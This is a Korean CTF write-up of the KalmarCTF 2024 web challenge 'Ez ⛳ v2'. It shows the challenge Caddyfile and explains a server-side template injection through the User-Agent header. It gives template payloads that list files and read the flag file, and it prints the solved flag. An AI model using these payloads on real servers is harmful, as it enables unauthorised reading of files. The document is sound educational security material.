[CTF Writeup / Web] KalmarCTF 2024 - Ez ⛳ v2

[CTF Writeup / Web] KalmarCTF 2024 - Ez ⛳ v2



안녕하세요. 이번 글에서는 KalmarCTF 2024에서 출제된 Web 문제 Ez ⛳ v2의 writeup을 작성해보려고 합니다. 


Caddy webserver is AWESOME, using a neat and compact syntax you can do a lot of powerful things, e.g. wanna know if your browser supports HTTP3? Or TLS1.3? etc

Flag is located at GET /$(head -c 18 /dev/urandom | base64) go fetch it.


Caddy 라는 웹 서버 문제입니다. Flag는 랜덤값 이름으로 저장되어 있습니다.



메인 페이지

문제 메인 페이지 접근 화면입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
(sec_headers) {
    root * /
    header {
        Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
        Strict-Transport-Security "max-age=31536000"
        X-XSS-Protection 0
        X-Content-Type-Options nosniff
        X-Frame-Options DENY
        Referrer-Policy "no-referrer"
    }
}
 
(html_reply) {
    import sec_headers
    header Content-Type text/html
    templates
    respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}
 
(json_reply) {
    templates {
        # By default placeholders are not replaced for json
        mime application/json
    }
    header Content-Type application/json
    respond "{args[0]}"
}
 
(http_reply) {
    tls internal {
        alpn "{args[0]}"
    }
    map {args[0]} {proto_name} {
        http/1.1 HTTP/1.1
        h2 HTTP/2.0
        h3 HTTP/3.0
    }
    @correctALPN `{http.request.proto} == {proto_name}`
    respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
    import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}
 
(tls_reply) {
    tls internal {
        protocols {args[0]} {args[1]}
    }
    header Access-Control-Allow-Origin "*"
    import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}
 
mtls.caddy.chal-kalmarc.tf {
    tls internal {
        client_auth {
            mode require
        }
    }
    templates
    import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
    import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
    import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
    import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
    import http_reply h3
}
 
caddy.chal-kalmarc.tf {
    tls internal
    import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}
 
cs

첨부된 파일에 있는 Caddyfile 내용입니다.


ua.caddy.chal-kalmarc.tf에 접근하면 사용자의 User-Agent 값을 응답값에 출력합니다. 이때 User-Agent 값으로 SSTI 취약점이 발생합니다.



listFiles

User-Agent: {{ listFiles "./" }}

listFiles로 디렉토리 내 파일을 조회할 수 있으며, flag 파일명을 알아낼 수 있습니다.

Flag 파일명 : CVGjuzCIVR99QNpJTLtBn9



readFile, Flag

User-Agent: {{ readFile "CVGjuzCIVR99QNpJTLtBn9" }}

readFile 명령어로 Flag를 알아낼 수 있습니다.




kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}









댓글